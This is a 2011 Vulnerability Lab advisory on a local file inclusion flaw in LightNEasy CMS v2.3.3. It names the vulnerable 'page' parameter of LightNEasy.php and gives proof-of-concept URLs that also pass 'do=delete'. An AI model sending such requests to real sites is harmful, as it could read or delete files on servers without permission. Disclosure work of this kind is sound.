LightNEasy v2.3.3 - Local File Include Vulnerability

Document Title:
===============
LightNEasy v2.3.3 - Local File Include Vulnerability


References (Source):
====================
LightNEasy v2.3.3


Release Date:
=============
2011-09-21


Vulnerability Laboratory ID (VL-ID):
====================================
50


Product & Service Introduction:
===============================
LightNEasy is not only a CMS, It actually creates plain, pure web pages for your whole website, making it SEO friendly 
and fast loading. Each time you add a page, alter the menus, it regenerates all pages again so that they remain fully 
integrated. Search engines, like Google, prefer simple HTML or PHP pages and simple links to follow from page to page. 
LightNEasy in fact generates all the pages of your website, and what search engines find is a series of pure pages that 
link to other pages, instead of some fancy php scripts and strange urls. LightNEasy was created for developing and 
maintaining private or small commercial websites. Depending on your programming skills, however, LightNEasy can be the 
framework of virtually any website.

(Copy from the Vendors Homepage: http://www.lightneasy.org/ )



Abstract Advisory Information:
==============================
Vulnerability Lab team discovered a local File Inclusion Vulnerability on LightNEasys CMS v2.3.3


Vulnerability Disclosure Timeline:
==================================
2011-09-21:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Attackers can include files for example .html over a not restricted include function. 
This vulnerability can be exploited by attackers to request local cms files.

Vulnerable Module(s):
                                               [+] LightNEasy.php

Param(s):
                                               [+] ?page=x.html&do=delete

Picture(s): 
                                               ../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker. For demonstration or reproduce ...

Path:	../lightneasy/
File:	LightNEasy.php
Para:	?page=

Reference:
http://demo.test.com/lightneasy/LightNEasy.php?page=[Local File Inclusion]&do=delete

PoC:
http://localhost:8080/lightneasy/LightNEasy.php?page=testfile.html&do=delete


Security Risk:
==============
The security risk of the local file include vulnerability is estimated as medium(+).



Credits & Authors:
==================
Vulnerability Research Laboratory - N/A  Anonymous


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=========================
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